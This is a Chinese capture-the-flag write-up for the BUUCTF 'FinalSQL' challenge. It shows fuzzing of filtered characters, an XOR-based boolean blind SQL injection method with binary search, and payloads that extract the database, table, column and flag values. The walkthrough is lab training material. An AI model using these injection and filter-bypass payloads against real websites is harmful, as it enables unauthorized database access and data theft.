【BUUCTF-Web】[极客大挑战 2019]FinalSQL

1,186 阅读2分钟

Subject

SQL Injection Blind Injection


Mind Palace

进入网站 ==> 获得可能的提示:盲注

点击下面的数字 观察url

URL/search.php?id=5

尝试后续的id=6...

输入直到出现error的返回;再测试其他的id的值发现两种不同的回显:

第一个error是查询不到需要的id的error;第二个error是隐藏了语法错误报错信息的error ==> 盲注

Fuzz:

包长度为890的情况都是被过滤的字符

关系预算符中 & and AND | 都是被过滤了的;or xor ^ 没有被过滤

==> 使用异或来进行盲注

1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0

构想payload:

1 ^ (sql injection judge exp) #
		- 如果页面正常回显(NO!);expression为假
		- 如果页面不正常回显(ERROR!!!);expression为真
		
sql injection judge exp: ==> 用于爆破
		1. database-name
		2. table-name
		3. column-name
		4. value-flag

0x01 爆破数据库名字

1 ^ (	ascii(substr(database(),{var=0},1)) =?= ascii({var='g'})	) #
==>
1^((ascii(substr(database(),{var},1)))>(mid))#
		- 如果这个字符大于mid;回显为不正常回显;left = mid + 1
		- 如果这个字符小于等于mid;回显为正常回显;right = mid

开始之前对payload中关键字符串进行再次fuzz(补充fuzz:- 0x % + %20);

更新payload:

1^((ascii(substr(database(),{i},1)))%3e({mid}))--%20

成功爆破出数据库名字:

0x02 爆破表名

1^((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=('geek')),{var},1)))%3e({mid}))--%20
==> F1naI1y, Flaaaaag

0x03 爆破列名

1^((ascii(substr((select(gourp_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{var},1)))%3e({mid}))--%20
==> id, fl4gawsl

0x04 爆破flag

1^((ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),{var},1)))%3e({mid}))--%20

惊觉不对劲 需要使用limit了(根据之前网页的提示 limit到第6个)

==> 改进
1^((ascii(substr((select(fl4gawsl)from(Flaaaaag)limit(6,1)),{i},1)))%3e({mid}))--%20
==> limit 没有通过fuzz

观察到另一个列名 可以使用 id=6

1^((ascii(substr((select(fl4gawsl)from(Flaaaaag)where(id)=(6)),{i},1)))%3e({mid}))--%20

根据提示说明不在这个表中;尝试在表 F1naI1y 中查找

(其实一开始就应该想到的)还是失败了 困惑

database: geek
- table1: F1naI1y
	- columns: id, username, password
- table2: Flaaaaag
	- columns: id, fl4gawsl

说明flag一定藏在 geek.F1naI1ypassword

==============> 太气人了 ヽ(`Д´)ノ 直接 group_concat 全部爆破出来

====> 10000 rounds:
1^((ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1)))>({mid}))--%20

得到flag:

代码链接:

gitee.com/eclipse-ten…


Look Ahead

心态要稳定 ==> 虽然爆破很麻烦(插眼:可以尝试使用多线程看看能否加快速度)

稍微要求一点Python编程;fuzz的技巧和绕过的技巧还需要继续积累

注:

Python代码中上述payload的 %3e 要换成 >


END ヾ(・ε・`*)